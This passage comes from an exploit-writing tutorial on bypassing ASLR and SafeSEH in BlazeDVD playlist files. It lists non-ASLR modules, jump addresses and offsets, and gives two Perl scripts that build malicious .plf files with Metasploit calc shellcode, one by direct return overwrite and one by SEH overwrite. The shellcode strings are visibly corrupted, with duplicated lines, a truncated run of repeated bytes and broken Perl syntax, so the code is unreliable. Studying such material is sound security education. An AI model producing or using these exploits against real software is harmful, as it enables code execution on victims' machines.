Ok, it looks like we have 2 ways of exploiting this one: either via direct RET overwrite (EIP=41414141) or via SEH based (SEH chain: SE Handler = 43434343 (next SEH = 42424242)). ESP points to our buffer.

When looking at the ASLR awareness state table (!ASLRdynamicbase), we see this:

Wow - a lot of the modules seem to be not ASLR aware. That means that we should be able to use addresses from those modules to make our jumps. Unfortunately, the output of that ASLRdynamicbase script is not reliable. Take note of the modules without ASLR and reboot the system. Run the command again and compare the new list with the old list. That should give you a better idea on which modules can be used. In this scenario, you'll go back from a list of 23 to a list of 7 (which is still not too bad, isn't it?):

- **BlazeDVD.exe** (0x00400000)
- **skinscrollbar.dll** (0x10000000)
- **configuration.dll** (0x60300000)
- **epg.dll** (0x61600000)
- **mediaplayerctrl.dll** (0x64000000)
- **netreg.dll** (0x64100000)
- **versioninfo.dll** (0x67000000)

**Bypass ASLR (direct RET overwrite)**

In case of a **direct RET overwrite**, we overwrite EIP after offset 260, and a jmp esp (or call esp or push esp/ret) would do the trick.

Possible jump addresses could be:

- **blazedvd.exe**: 79 addresses (but null bytes!)
- **skinscrollbar.dll**: 0 addresses
- **configuration.dll**: 2 addresses, no null bytes
- **epg.dll**: 20 addresses, no null bytes
- **mediaplayerctrl.dll**: 15 addresses, 8 with null bytes
- **netreg.dll**: 3 addresses, no null bytes
- **versioninfo.dll**: 0 addresses
EIP gets overwritten after 260 characters, so a reliably working exploit would look like this:

```perl
my $sploitfile="blazesploit.plf";
print "[+] Preparing payload\n";
my $junk = "A" x 260;
my $ret = pack("V",0x6033b533);  # jmp esp from configuration.dll
my $nops = "\x90" x 30;
# windows/exec - 382 bytes
http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x38\x41\x33\x48\x4b\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x51\x53\x32\x41\x42\x32\x42\x42\x32\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x33\x48\x4b\x50\x45\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x33\x43\x31\x4a\x44\x4c\x4b\x40" .
"\x48\x46\x4b\x46\x54\x4c\x4b\x51\x4a\x44\x4b\x40\x4b\x58" .
"\x49\x50\x5a\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x40\x44" .
"\x47\x4b\x50\x5a\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x4b\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4b\x51\x5a\x4f\x4b\x45\x36\x4c\x4b\x44\x4b\x40" .
"\x45\x43\x4c\x4b\x44\x45\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x43\x4c\x4b\x44\x45\x51\x4b\x46\x43\x50\x46\x36" .
"\x49\x43\x4c\x4b\x44\x45\x51\x4b\x46\x43\x50\x46\x36" .
"\x58\x4b\x4b\x51\x5a\x4f\x4b\x45\x36\x4c\x4b\x44\x4b\x40" .
$payload =$junk.$ret.$nops.$shellcode;
print "[+] Writing exploit file $sploitfile\n";
open ($FILE,">$sploitfile") or die "Cannot open file: $!";
print $FILE $payload;
close($FILE);
print "[+] "$payload .length($payload) ." bytes written to file\n";
```

Reboot, try again… it should still work
ASLR Bypass : SEH based exploits

In case of SEH based exploit, the basic technique is the same. Find modules that are not aslr protected, find an address that does what you want it to do, and sploit...

Let's pretend that we need to bypass safeseh as well, for the fun of it.

Modules without safeseh : (!pvefindaddr nosafeseh)

<table>
<thead>
<tr>
<th>Module Name</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>skinscrollbar.dll</td>
<td>0x10000000</td>
</tr>
<tr>
<td>configuration.dll</td>
<td>0x60300000</td>
</tr>
<tr>
<td>mediaplayerctrl.dll</td>
<td>0x61600000</td>
</tr>
<tr>
<td>mediaplayerctrl.dll</td>
<td>0x64000000</td>
</tr>
<tr>
<td>netreg.dll</td>
<td>0x64100000</td>
</tr>
<tr>
<td>versioninfo.dll</td>
<td>0x67000000</td>
</tr>
</tbody>
</table>

So a pop pop ret from any of these modules (or, alternatively, a jmp/call dword[reg+nn] would work too)

Working exploit (SE structure hit after 608 bytes, using pop pop ret from skinscrollbar.dll):

```perl
my $sploitfile="blazesploit.plf";
print "[*] Preparing payload\n";
my $junk = "A" x 608;
my $nseh = "\xeb\x18\x90\x90";
my $seh = pack('V',0x100101e7); #p esi/p ecx/ret from skinscrollbar.dll
my $nop = "\x90" x 30;
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x4".
```
ASLR and DEP

The ANI exploit illustrates a possible way of bypassing DEP and ASLR at the same time. The vulnerable code that allowed for the ANI vulnerability to be exploited was wrapped in an exception handler that did not make the application crash. So the address in ntdll.dll (which is subject to ASLR and thus randomized) to disable DEP could be bruteforced by trying multiple ANI files (a maximum of 256 different files would do) each with a different address.

Questions ? Comments ?

Feel free to post your questions, comments, feedback, etc at the forum: http://www.corelan.be:8800/index.php/forum/writing-exploits/

This entry was posted on Monday, September 21st, 2009 at 11:45 pm and is filed under 001 – Security, Exploit Writing Tutorials, Exploits. You can follow any responses to this entry through the Comments (RSS) feed. You can leave a response, or trackback from your own site.